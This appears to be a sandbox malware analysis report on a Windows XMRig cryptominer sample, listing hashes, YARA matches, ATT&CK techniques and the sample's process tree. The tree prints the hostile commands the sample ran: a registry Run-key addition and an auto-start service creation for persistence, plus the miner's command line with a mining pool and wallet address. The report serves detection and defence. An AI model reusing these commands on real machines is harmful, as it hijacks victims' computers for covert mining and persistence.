xmrig | 26fd2c3c123d9a18ec4311f5a82bbe79a4190a89bce0e4d73e251f357484468f

General

Target

63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe
Size

1.1MB
MD5

63e7b5139afc6a5d54bebf5a518b2daf
SHA1

8e4440701672ec7591f742de92e9748649ac156f
SHA256

26fd2c3c123d9a18ec4311f5a82bbe79a4190a89bce0e4d73e251f357484468f
SHA512

02ddcce9f5383a05c29b1bfb33e67379717bc08047228dc047c77c81796039a8702aa0b311eb253c4855f1910700412145d62cf2a2779ea0be88b833c020ed01
SSDEEP

24576:GHlsQzLKOu9Bh+p/Ps01E6TbBYGvZby9l14+eHnC2Dk6:GFsQzNuU/PLhTVY39liPC29

Score

10^/10

xmrig execution miner persistence upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 13 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/5012-8-0x0000000000400000-0x00000000004E2000-memory.dmp	xmrig
behavioral2/memory/5012-9-0x0000000000400000-0x00000000004E2000-memory.dmp	xmrig
behavioral2/memory/5012-10-0x0000000000400000-0x00000000004E2000-memory.dmp	xmrig
behavioral2/memory/5012-11-0x0000000000400000-0x00000000004E2000-memory.dmp	xmrig
behavioral2/memory/5012-12-0x0000000000400000-0x00000000004E2000-memory.dmp	xmrig
behavioral2/memory/5012-13-0x0000000000400000-0x00000000004E2000-memory.dmp	xmrig
behavioral2/memory/5012-14-0x0000000000400000-0x00000000004E2000-memory.dmp	xmrig
behavioral2/memory/5012-15-0x0000000000400000-0x00000000004E2000-memory.dmp	xmrig
behavioral2/memory/5012-16-0x0000000000400000-0x00000000004E2000-memory.dmp	xmrig
behavioral2/memory/5012-17-0x0000000000400000-0x00000000004E2000-memory.dmp	xmrig
behavioral2/memory/5012-18-0x0000000000400000-0x00000000004E2000-memory.dmp	xmrig
behavioral2/memory/5012-19-0x0000000000400000-0x00000000004E2000-memory.dmp	xmrig
behavioral2/memory/5012-20-0x0000000000400000-0x00000000004E2000-memory.dmp	xmrig

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Executes dropped EXE 2 IoCs

Processes:

lasse.exekernel.exe

pid process

3052 lasse.exe
5012 kernel.exe

pid	process
3052	lasse.exe
5012	kernel.exe

UPX packed file 15 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Windows\Temp\kernel.exe	upx
behavioral2/memory/5012-7-0x0000000000400000-0x00000000004E2000-memory.dmp	upx
behavioral2/memory/5012-8-0x0000000000400000-0x00000000004E2000-memory.dmp	upx
behavioral2/memory/5012-9-0x0000000000400000-0x00000000004E2000-memory.dmp	upx
behavioral2/memory/5012-10-0x0000000000400000-0x00000000004E2000-memory.dmp	upx
behavioral2/memory/5012-11-0x0000000000400000-0x00000000004E2000-memory.dmp	upx
behavioral2/memory/5012-12-0x0000000000400000-0x00000000004E2000-memory.dmp	upx
behavioral2/memory/5012-13-0x0000000000400000-0x00000000004E2000-memory.dmp	upx
behavioral2/memory/5012-14-0x0000000000400000-0x00000000004E2000-memory.dmp	upx
behavioral2/memory/5012-15-0x0000000000400000-0x00000000004E2000-memory.dmp	upx
behavioral2/memory/5012-16-0x0000000000400000-0x00000000004E2000-memory.dmp	upx
behavioral2/memory/5012-17-0x0000000000400000-0x00000000004E2000-memory.dmp	upx
behavioral2/memory/5012-18-0x0000000000400000-0x00000000004E2000-memory.dmp	upx
behavioral2/memory/5012-19-0x0000000000400000-0x00000000004E2000-memory.dmp	upx
behavioral2/memory/5012-20-0x0000000000400000-0x00000000004E2000-memory.dmp	upx

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\lasse = "C:\\Windows\\System32\\lasse.exe"	reg.exe

Drops file in System32 directory 1 IoCs

Processes:

63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe

description ioc process

File created C:\Windows\SysWOW64\lasse.exe 63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exe

pid process

1320 sc.exe
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

3548 reg.exe
Runs net.exe

description	ioc	process
File created	C:\Windows\SysWOW64\lasse.exe	63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe

pid	process
1320	sc.exe

pid	process
3548	reg.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

Processes:

63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exelasse.exe

pid	process
4092	63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe
4092	63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe
4092	63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe
4092	63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe
4092	63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe
4092	63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe
4092	63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe
4092	63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe
3052	lasse.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exekernel.exe

description	pid	process
Token: SeDebugPrivilege	4092	63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	5012	kernel.exe
Token: SeLockMemoryPrivilege	5012	kernel.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

lasse.exe

pid process

3052 lasse.exe
3052 lasse.exe

pid	process
3052	lasse.exe
3052	lasse.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exelasse.exe

description	pid	process	target process
PID 4092 wrote to memory of 3052	4092	63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe	lasse.exe
PID 4092 wrote to memory of 3052	4092	63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe	lasse.exe
PID 4092 wrote to memory of 3052	4092	63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe	lasse.exe
PID 4092 wrote to memory of 3548	4092	63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe	reg.exe
PID 4092 wrote to memory of 3548	4092	63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe	reg.exe
PID 4092 wrote to memory of 3548	4092	63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe	reg.exe
PID 4092 wrote to memory of 1320	4092	63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe	sc.exe
PID 4092 wrote to memory of 1320	4092	63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe	sc.exe
PID 4092 wrote to memory of 1320	4092	63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe	sc.exe
PID 4092 wrote to memory of 2320	4092	63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe	net.exe
PID 4092 wrote to memory of 2320	4092	63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe	net.exe
PID 4092 wrote to memory of 2320	4092	63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe	net.exe
PID 3052 wrote to memory of 5012	3052	lasse.exe	kernel.exe
PID 3052 wrote to memory of 5012	3052	lasse.exe	kernel.exe
PID 3052 wrote to memory of 5012	3052	lasse.exe	kernel.exe

C:\Users\Admin\AppData\Local\Temp\63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\63e7b5139afc6a5d54bebf5a518b2daf_JaffaCakes118.exe"
1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4092
- C:\Windows\SysWOW64\lasse.exe
  C:\Windows\System32\lasse.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3052
- - C:\Windows\Temp\kernel.exe
    C:\Windows\Temp\kernel.exe -a cryptonight -o pool.minexmr.com:5555 -u 47k5TbgFezTDNtJomYPgaDdk3dyQrHZvwYcnDSV6SnGCHGDP5UWMVFXFDBg25ekR5uTWjiETwQUukbQmmwDqAZ3A3aF4osR -p x -k --donate-level=1 -B
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5012
- C:\Windows\SysWOW64\reg.exe
  reg.exe add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v lasse /t REG_SZ /d C:\Windows\System32\lasse.exe
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3548
- C:\Windows\SysWOW64\sc.exe
  sc.exe create lasse binPath= C:\Windows\System32\lasse.exe start= auto
  2⤵
  - Launches sc.exe
  PID:1320
- C:\Windows\SysWOW64\net.exe
  net.exe start lasse
  2⤵
  PID:2320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

1

T1569

Service Execution

1

T1569.002

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Create or Modify System Process

1

T1543

Windows Service

1

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Create or Modify System Process

1

T1543

Windows Service

1

T1543.003

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\lasse.exe

Filesize
1012KB

MD5
6c8c1aa4ebcd402a607406fd2669e2c4

SHA1
5107b31ce5550182a8c6619326ac48b76bab8c16

SHA256
b3e8da8d5569375929102215fe3159699d1dc570e0297dee954ffd4dc13d42ad

SHA512
4753746873920506a9e2aefa1ee28cb9678699ab3512f573c0df2e552941b6383ccc4dedd64ae468fd6dad84710c2f92f589291e77d7b483c9e45d3e26a1709e

Download Submit
C:\Windows\Temp\kernel.exe

Filesize
358KB

MD5
7ecc53614c641d9d6de10bb9f6363b50

SHA1
9829a35418f5f921e3ba16fe3f7b72e7c0a8a9e4

SHA256
9e5b3da1e5ece578ff99525d1ea565df458cdd62b305404336303ca8ca97f562

SHA512
72372ae7dad200f2c45c1ebb133ebea0a068f060b1e77c7c603de4f4046f92ebe6e6c8b9d4efd4679b773d59f8eb1e601c3fe73abe03b56d762d400a26f719dc

Download Submit
memory/5012-7-0x0000000000400000-0x00000000004E2000-memory.dmp

Filesize
904KB

Download
memory/5012-8-0x0000000000400000-0x00000000004E2000-memory.dmp

Filesize
904KB

Download
memory/5012-9-0x0000000000400000-0x00000000004E2000-memory.dmp

Filesize
904KB

Download
memory/5012-10-0x0000000000400000-0x00000000004E2000-memory.dmp

Filesize
904KB

Download
memory/5012-11-0x0000000000400000-0x00000000004E2000-memory.dmp

Filesize
904KB

Download
memory/5012-12-0x0000000000400000-0x00000000004E2000-memory.dmp

Filesize
904KB

Download
memory/5012-13-0x0000000000400000-0x00000000004E2000-memory.dmp

Filesize
904KB

Download
memory/5012-14-0x0000000000400000-0x00000000004E2000-memory.dmp

Filesize
904KB

Download
memory/5012-15-0x0000000000400000-0x00000000004E2000-memory.dmp

Filesize
904KB

Download
memory/5012-16-0x0000000000400000-0x00000000004E2000-memory.dmp

Filesize
904KB

Download
memory/5012-17-0x0000000000400000-0x00000000004E2000-memory.dmp

Filesize
904KB

Download
memory/5012-18-0x0000000000400000-0x00000000004E2000-memory.dmp

Filesize
904KB

Download
memory/5012-19-0x0000000000400000-0x00000000004E2000-memory.dmp

Filesize
904KB

Download
memory/5012-20-0x0000000000400000-0x00000000004E2000-memory.dmp

Filesize
904KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads